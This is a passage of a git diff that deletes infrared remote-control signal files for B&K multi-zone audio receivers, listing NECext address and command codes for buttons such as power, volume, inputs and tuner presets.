-address: F7 80 00 00 -command: 65 00 00 00 -# -name: BK032_SOURCE+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 66 00 00 00 -# -name: BK032_INPUT_9 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 6E 00 00 00 -# -name: BK032_AM -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 76 00 00 00 -# -name: BK032_TREBLE- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 79 00 00 00 -# -name: BK032_VIDEO- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 7A 00 00 00 -# -name: BK032_EXIT -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 7D 00 00 00 -# -name: BK032_TUNER_2 -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 84 00 00 00 -# -name: BK032_FM -type: parsed -protocol: NECext -address: F7 80 00 00 -command: 8E 00 00 00 -# -name: BK032_SOURCE- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: A6 00 00 00 -# -name: BK032_SLEEP -type: parsed -protocol: NECext -address: F7 80 00 00 -command: B3 00 00 00 -# -name: BK032_PRESET- -type: parsed -protocol: NECext -address: F7 80 00 00 -command: C6 00 00 00 -# -name: BK032_LOUDNESS -type: parsed -protocol: NECext -address: F7 80 00 00 -command: CF 00 00 00 -# -name: BK032_AUTO_LEVEL -type: parsed -protocol: NECext -address: F7 80 00 00 -command: E4 00 00 00 -# -name: BK032_BASS+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: E5 00 00 00 -# -name: BK032_TREBLE+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: F9 00 00 00 -# -name: BK032_VIDEO+ -type: parsed -protocol: NECext -address: F7 80 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir deleted file mode 100644 index ed64b0596..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK000_POWER_OFF -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 01 00 00 00 -# -name: BK000_POWER_ON -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 02 00 00 00 -# -name: BK000_MUTE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 03 00 00 00 -# -name: BK000_INPUT_1 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 05 00 00 00 -# -name: BK000_INPUT_3 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 06 00 00 00 -# -name: BK000_INPUT_8 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 07 00 00 00 -# -name: BK000_INPUT_2 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 09 00 00 00 -# -name: BK000_INPUT_7 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0B 00 00 00 -# -name: BK000_INPUT_4 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0D 00 00 00 -# -name: BK000_TUNER_1 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0E 00 00 00 -# -name: BK000_INPUT_5 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 0F 00 00 00 -# -name: BK000_STATION- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 17 00 00 00 -# -name: BK000_STATION+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 18 00 00 00 -# -name: BK000_TUNE- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1B 00 00 00 -# -name: BK000_TUNE+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1C 00 00 00 -# -name: BK000_LEFT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 1F 00 00 00 -# -name: BK000_RIGHT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 20 00 00 00 -# -name: BK000_VOLUME- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 23 00 00 00 -# -name: BK000_VOLUME+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 24 00 00 00 -# -name: BK000_NUMBER_+10 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 29 00 00 00 -# -name: BK000_EQ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2A 00 00 00 -# -name: BK000_DOWN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2D 00 00 00 -# -name: BK000_UP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 2E 00 00 00 -# -name: BK000_ENTER -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 30 00 00 00 -# -name: BK000_NUMBER_1 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 31 00 00 00 -# -name: BK000_NUMBER_2 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 32 00 00 00 -# -name: BK000_NUMBER_3 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 33 00 00 00 -# -name: BK000_NUMBER_4 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 35 00 00 00 -# -name: BK000_NUMBER_5 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 36 00 00 00 -# -name: BK000_NUMBER_6 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 37 00 00 00 -# -name: BK000_NUMBER_7 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 39 00 00 00 -# -name: BK000_NUMBER_8 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3A 00 00 00 -# -name: BK000_NUMBER_9 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3B 00 00 00 -# -name: BK000_NUMBER_0 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 3E 00 00 00 -# -name: BK000_SAVE -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 40 00 00 00 -# -name: BK000_TUNER_3 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 44 00 00 00 -# -name: BK000_INPUT_6 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 4A 00 00 00 -# -name: BK000_PRESET+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 4B 00 00 00 -# -name: BK000_D-IN -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 5A 00 00 00 -# -name: BK000_BASS- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 65 00 00 00 -# -name: BK000_SOURCE+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 66 00 00 00 -# -name: BK000_INPUT_9 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 6E 00 00 00 -# -name: BK000_AM -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 76 00 00 00 -# -name: BK000_TREBLE- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 79 00 00 00 -# -name: BK000_VIDEO- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 7A 00 00 00 -# -name: BK000_EXIT -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 7D 00 00 00 -# -name: BK000_TUNER_2 -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 84 00 00 00 -# -name: BK000_FM -type: parsed -protocol: NECext -address: FB 40 00 00 -command: 8E 00 00 00 -# -name: BK000_SOURCE- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: A6 00 00 00 -# -name: BK000_SLEEP -type: parsed -protocol: NECext -address: FB 40 00 00 -command: B3 00 00 00 -# -name: BK000_PRESET- -type: parsed -protocol: NECext -address: FB 40 00 00 -command: C6 00 00 00 -# -name: BK000_LOUDNESS -type: parsed -protocol: NECext -address: FB 40 00 00 -command: CF 00 00 00 -# -name: BK000_AUTO_LEVEL -type: parsed -protocol: NECext -address: FB 40 00 00 -command: E4 00 00 00 -# -name: BK000_BASS+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: E5 00 00 00 -# -name: BK000_TREBLE+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: F9 00 00 00 -# -name: BK000_VIDEO+ -type: parsed -protocol: NECext -address: FB 40 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir deleted file mode 100644 index 68e37c950..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK033_POWER_OFF -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 01 00 00 00 -# -name: BK033_POWER_ON -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 02 00 00 00 -# -name: BK033_MUTE -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 03 00 00 00 -# -name: BK033_INPUT_1 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 05 00 00 00 -# -name: BK033_INPUT_3 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 06 00 00 00 -# -name: BK033_INPUT_8 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 07 00 00 00 -# -name: BK033_INPUT_2 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 09 00 00 00 -# -name: BK033_INPUT_7 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 0B 00 00 00 -# -name: BK033_INPUT_4 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 0D 00 00 00 -# -name: BK033_TUNER_1 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 0E 00 00 00 -# -name: BK033_INPUT_5 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 0F 00 00 00 -# -name: BK033_STATION- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 17 00 00 00 -# -name: BK033_STATION+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 18 00 00 00 -# -name: BK033_TUNE- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 1B 00 00 00 -# -name: BK033_TUNE+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 1C 00 00 00 -# -name: BK033_LEFT -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 1F 00 00 00 -# -name: BK033_RIGHT -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 20 00 00 00 -# -name: BK033_VOLUME- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 23 00 00 00 -# -name: BK033_VOLUME+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 24 00 00 00 -# -name: BK033_NUMBER_+10 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 29 00 00 00 -# -name: BK033_EQ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 2A 00 00 00 -# -name: BK033_DOWN -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 2D 00 00 00 -# -name: BK033_UP -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 2E 00 00 00 -# -name: BK033_ENTER -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 30 00 00 00 -# -name: BK033_NUMBER_1 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 31 00 00 00 -# -name: BK033_NUMBER_2 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 32 00 00 00 -# -name: BK033_NUMBER_3 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 33 00 00 00 -# -name: BK033_NUMBER_4 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 35 00 00 00 -# -name: BK033_NUMBER_5 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 36 00 00 00 -# -name: BK033_NUMBER_6 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 37 00 00 00 -# -name: BK033_NUMBER_7 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 39 00 00 00 -# -name: BK033_NUMBER_8 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 3A 00 00 00 -# -name: BK033_NUMBER_9 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 3B 00 00 00 -# -name: BK033_NUMBER_0 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 3E 00 00 00 -# -name: BK033_SAVE -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 40 00 00 00 -# -name: BK033_TUNER_3 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 44 00 00 00 -# -name: BK033_INPUT_6 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 4A 00 00 00 -# -name: BK033_PRESET+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 4B 00 00 00 -# -name: BK033_D-IN -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 5A 00 00 00 -# -name: BK033_BASS- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 65 00 00 00 -# -name: BK033_SOURCE+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 66 00 00 00 -# -name: BK033_INPUT_9 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 6E 00 00 00 -# -name: BK033_AM -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 76 00 00 00 -# -name: BK033_TREBLE- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 79 00 00 00 -# -name: BK033_VIDEO- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 7A 00 00 00 -# -name: BK033_EXIT -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 7D 00 00 00 -# -name: BK033_TUNER_2 -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 84 00 00 00 -# -name: BK033_FM -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: 8E 00 00 00 -# -name: BK033_SOURCE- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: A6 00 00 00 -# -name: BK033_SLEEP -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: B3 00 00 00 -# -name: BK033_PRESET- -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: C6 00 00 00 -# -name: BK033_LOUDNESS -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: CF 00 00 00 -# -name: BK033_AUTO_LEVEL -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: E4 00 00 00 -# -name: BK033_BASS+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: E5 00 00 00 -# -name: BK033_TREBLE+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: F9 00 00 00 -# -name: BK033_VIDEO+ -type: parsed -protocol: NECext -address: 1F 0E 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir deleted file mode 100644 index 830e63089..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK022_POWER_OFF -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 01 00 00 00 -# -name: BK022_POWER_ON -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 02 00 00 00 -# -name: BK022_MUTE -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 03 00 00 00 -# -name: BK022_INPUT_1 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 05 00 00 00 -# -name: BK022_INPUT_3 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 06 00 00 00 -# -name: BK022_INPUT_8 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 07 00 00 00 -# -name: BK022_INPUT_2 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 09 00 00 00 -# -name: BK022_INPUT_7 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 0B 00 00 00 -# -name: BK022_INPUT_4 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 0D 00 00 00 -# -name: BK022_TUNER_1 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 0E 00 00 00 -# -name: BK022_INPUT_5 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 0F 00 00 00 -# -name: BK022_STATION- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 17 00 00 00 -# -name: BK022_STATION+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 18 00 00 00 -# -name: BK022_TUNE- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 1B 00 00 00 -# -name: BK022_TUNE+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 1C 00 00 00 -# -name: BK022_LEFT -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 1F 00 00 00 -# -name: BK022_RIGHT -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 20 00 00 00 -# -name: BK022_VOLUME- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 23 00 00 00 -# -name: BK022_VOLUME+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 24 00 00 00 -# -name: BK022_NUMBER_+10 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 29 00 00 00 -# -name: BK022_EQ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 2A 00 00 00 -# -name: BK022_DOWN -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 2D 00 00 00 -# -name: BK022_UP -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 2E 00 00 00 -# -name: BK022_ENTER -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 30 00 00 00 -# -name: BK022_NUMBER_1 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 31 00 00 00 -# -name: BK022_NUMBER_2 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 32 00 00 00 -# -name: BK022_NUMBER_3 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 33 00 00 00 -# -name: BK022_NUMBER_4 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 35 00 00 00 -# -name: BK022_NUMBER_5 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 36 00 00 00 -# -name: BK022_NUMBER_6 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 37 00 00 00 -# -name: BK022_NUMBER_7 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 39 00 00 00 -# -name: BK022_NUMBER_8 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 3A 00 00 00 -# -name: BK022_NUMBER_9 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 3B 00 00 00 -# -name: BK022_NUMBER_0 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 3E 00 00 00 -# -name: BK022_SAVE -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 40 00 00 00 -# -name: BK022_TUNER_3 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 44 00 00 00 -# -name: BK022_INPUT_6 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 4A 00 00 00 -# -name: BK022_PRESET+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 4B 00 00 00 -# -name: BK022_D-IN -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 5A 00 00 00 -# -name: BK022_BASS- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 65 00 00 00 -# -name: BK022_SOURCE+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 66 00 00 00 -# -name: BK022_INPUT_9 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 6E 00 00 00 -# -name: BK022_AM -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 76 00 00 00 -# -name: BK022_TREBLE- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 79 00 00 00 -# -name: BK022_VIDEO- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 7A 00 00 00 -# -name: BK022_EXIT -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 7D 00 00 00 -# -name: BK022_TUNER_2 -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 84 00 00 00 -# -name: BK022_FM -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: 8E 00 00 00 -# -name: BK022_SOURCE- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: A6 00 00 00 -# -name: BK022_SLEEP -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: B3 00 00 00 -# -name: BK022_PRESET- -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: C6 00 00 00 -# -name: BK022_LOUDNESS -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: CF 00 00 00 -# -name: BK022_AUTO_LEVEL -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: E4 00 00 00 -# -name: BK022_BASS+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: E5 00 00 00 -# -name: BK022_TREBLE+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: F9 00 00 00 -# -name: BK022_VIDEO+ -type: parsed -protocol: NECext -address: 27 8D 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir deleted file mode 100644 index 3215aac14..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK029_POWER_OFF -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 01 00 00 00 -# -name: BK029_POWER_ON -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 02 00 00 00 -# -name: BK029_MUTE -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 03 00 00 00 -# -name: BK029_INPUT_1 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 05 00 00 00 -# -name: BK029_INPUT_3 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 06 00 00 00 -# -name: BK029_INPUT_8 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 07 00 00 00 -# -name: BK029_INPUT_2 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 09 00 00 00 -# -name: BK029_INPUT_7 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 0B 00 00 00 -# -name: BK029_INPUT_4 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 0D 00 00 00 -# -name: BK029_TUNER_1 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 0E 00 00 00 -# -name: BK029_INPUT_5 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 0F 00 00 00 -# -name: BK029_STATION- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 17 00 00 00 -# -name: BK029_STATION+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 18 00 00 00 -# -name: BK029_TUNE- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 1B 00 00 00 -# -name: BK029_TUNE+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 1C 00 00 00 -# -name: BK029_LEFT -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 1F 00 00 00 -# -name: BK029_RIGHT -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 20 00 00 00 -# -name: BK029_VOLUME- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 23 00 00 00 -# -name: BK029_VOLUME+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 24 00 00 00 -# -name: BK029_NUMBER_+10 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 29 00 00 00 -# -name: BK029_EQ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 2A 00 00 00 -# -name: BK029_DOWN -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 2D 00 00 00 -# -name: BK029_UP -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 2E 00 00 00 -# -name: BK029_ENTER -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 30 00 00 00 -# -name: BK029_NUMBER_1 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 31 00 00 00 -# -name: BK029_NUMBER_2 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 32 00 00 00 -# -name: BK029_NUMBER_3 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 33 00 00 00 -# -name: BK029_NUMBER_4 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 35 00 00 00 -# -name: BK029_NUMBER_5 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 36 00 00 00 -# -name: BK029_NUMBER_6 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 37 00 00 00 -# -name: BK029_NUMBER_7 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 39 00 00 00 -# -name: BK029_NUMBER_8 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 3A 00 00 00 -# -name: BK029_NUMBER_9 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 3B 00 00 00 -# -name: BK029_NUMBER_0 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 3E 00 00 00 -# -name: BK029_SAVE -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 40 00 00 00 -# -name: BK029_TUNER_3 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 44 00 00 00 -# -name: BK029_INPUT_6 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 4A 00 00 00 -# -name: BK029_PRESET+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 4B 00 00 00 -# -name: BK029_D-IN -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 5A 00 00 00 -# -name: BK029_BASS- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 65 00 00 00 -# -name: BK029_SOURCE+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 66 00 00 00 -# -name: BK029_INPUT_9 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 6E 00 00 00 -# -name: BK029_AM -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 76 00 00 00 -# -name: BK029_TREBLE- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 79 00 00 00 -# -name: BK029_VIDEO- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 7A 00 00 00 -# -name: BK029_EXIT -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 7D 00 00 00 -# -name: BK029_TUNER_2 -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 84 00 00 00 -# -name: BK029_FM -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: 8E 00 00 00 -# -name: BK029_SOURCE- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: A6 00 00 00 -# -name: BK029_SLEEP -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: B3 00 00 00 -# -name: BK029_PRESET- -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: C6 00 00 00 -# -name: BK029_LOUDNESS -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: CF 00 00 00 -# -name: BK029_AUTO_LEVEL -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: E4 00 00 00 -# -name: BK029_BASS+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: E5 00 00 00 -# -name: BK029_TREBLE+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: F9 00 00 00 -# -name: BK029_VIDEO+ -type: parsed -protocol: NECext -address: 37 8C 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir deleted file mode 100644 index 6e639c795..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK013_POWER_OFF -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 01 00 00 00 -# -name: BK013_POWER_ON -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 02 00 00 00 -# -name: BK013_MUTE -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 03 00 00 00 -# -name: BK013_INPUT_1 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 05 00 00 00 -# -name: BK013_INPUT_3 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 06 00 00 00 -# -name: BK013_INPUT_8 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 07 00 00 00 -# -name: BK013_INPUT_2 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 09 00 00 00 -# -name: BK013_INPUT_7 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0B 00 00 00 -# -name: BK013_INPUT_4 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0D 00 00 00 -# -name: BK013_TUNER_1 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0E 00 00 00 -# -name: BK013_INPUT_5 -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 0F 00 00 00 -# -name: BK013_STATION- -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 17 00 00 00 -# -name: BK013_STATION+ -type: parsed -protocol: NECext -address: 3B 4C 00 00 -command: 18 00 00 00 -# -name: BK013_TUNE- 